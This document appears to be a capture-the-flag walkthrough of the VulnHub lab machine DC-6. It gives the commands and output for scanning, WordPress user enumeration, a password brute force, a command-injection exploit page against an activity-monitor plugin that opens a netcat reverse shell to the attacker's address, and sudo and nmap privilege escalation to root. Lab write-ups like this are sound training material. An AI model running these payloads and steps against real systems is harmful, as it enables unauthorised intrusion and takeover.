WPSCAN (BRUTE FORCE)

ACTIVITY MONITOR PLUGIN EXPLOIT

```
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

| ssh-hostkey:

|   2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)

|   256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)

|_  256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)

80/tcp open  http    Apache httpd 2.4.25 ((Debian))

|_http-server-header: Apache/2.4.25 (Debian)

|_http-title: Did not follow redirect to http://wordy/

root@kali:/home/kali/Desktop/vulnhub/dc-6# gobuster dir -u http://dc-6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/wp-content (Status: 301)

/wp-includes (Status: 301)

/wp-admin (Status: 301)

/server-status (Status: 403)

root@akg:/home/akg/Desktop/tools/vane# ruby vane.rb --url 192.168.2.159 --enumerate p

wordpress 5.1.1

[+] Name: akismet

 |  Location: http://192.168.2.159/wp-content/plugins/akismet/

root@akg:/home/akg/Desktop/tools/vane# wpscan --url http://wordy/ --enumerate u
```

admin graham mark sarah jens

```
root@akg:/home/akg/Desktop/vulnhub/dc-6# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt


root@akg:/home/akg/Desktop/vulnhub/dc-6# wpscan --url http://wordy -U admin,sarah,mark,jens -P passwords.txt
```

[SUCCESS] - mark / helpdesk01   http://wordy/wp-login.php

```
 root@akg:/home/akg/Desktop/vulnhub/dc-6# searchsploit wordpress activity monitor
```

WordPress Plugin Plainview Activity Monitor 20161228 - (**Authenticated**) Command Injection | exploits/php/webapps/45274.html

```
  <html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools"
method="POST" enctype="multipart/form-data">

      <input type="hidden" name="ip" value="google.fr| nc 192.168.2.158 1234 -e /bin/bash"/>

      <input type="hidden" name="lookup" value="Lookup" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>
```

file:///home/kali/Desktop/vulnhub/dc-6/exploit.html

```
Nc –nlvp 1234
```

SHELL GAINED!!!!!!!!

```
        www-data@dc-6:/home$ ls

graham  jens  mark  sarah

www-data@dc-6:/home$ cd mark/

www-data@dc-6:/home/mark$ ls

stuff

www-data@dc-6:/home/mark$ cd stuff/

www-data@dc-6:/home/mark/stuff$ ls

things-to-do.txt

www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt

Things to do:



- Restore full functionality for the hyperdrive (need to speak to Jens)

- Buy present for Sarah's farewell party

- Add new user: graham - GSo7isUM1D4 - done

- Apply for the OSCP course

- Buy new laptop for Sarah's replacement
```

```
www-data@dc-6:/home/mark/stuff$

        root@akg:/home/akg/Desktop/vulnhub/dc-6# ssh graham@wordy

graham@dc-6:~$ sudo -l

Matching Defaults entries for graham on dc-6:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin


User graham may run the following commands on dc-6:

    (jens) NOPASSWD: /home/jens/backups.sh


graham@dc-6:/home/jens$ cat backups.sh

#!/bin/bash

tar -czf backups.tar.gz /var/www/html

/bin/bash

graham@dc-6:/home/jens$ sudo -u jens /home/jens/backups.sh

jens@dc-6:~$ sudo -l

Matching Defaults entries for jens on dc-6:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin


User jens may run the following commands on dc-6:

    (root) NOPASSWD: /usr/bin/nmap

jens@dc-6:~$

jens@dc-6:~$  echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
```

ROOTED!!!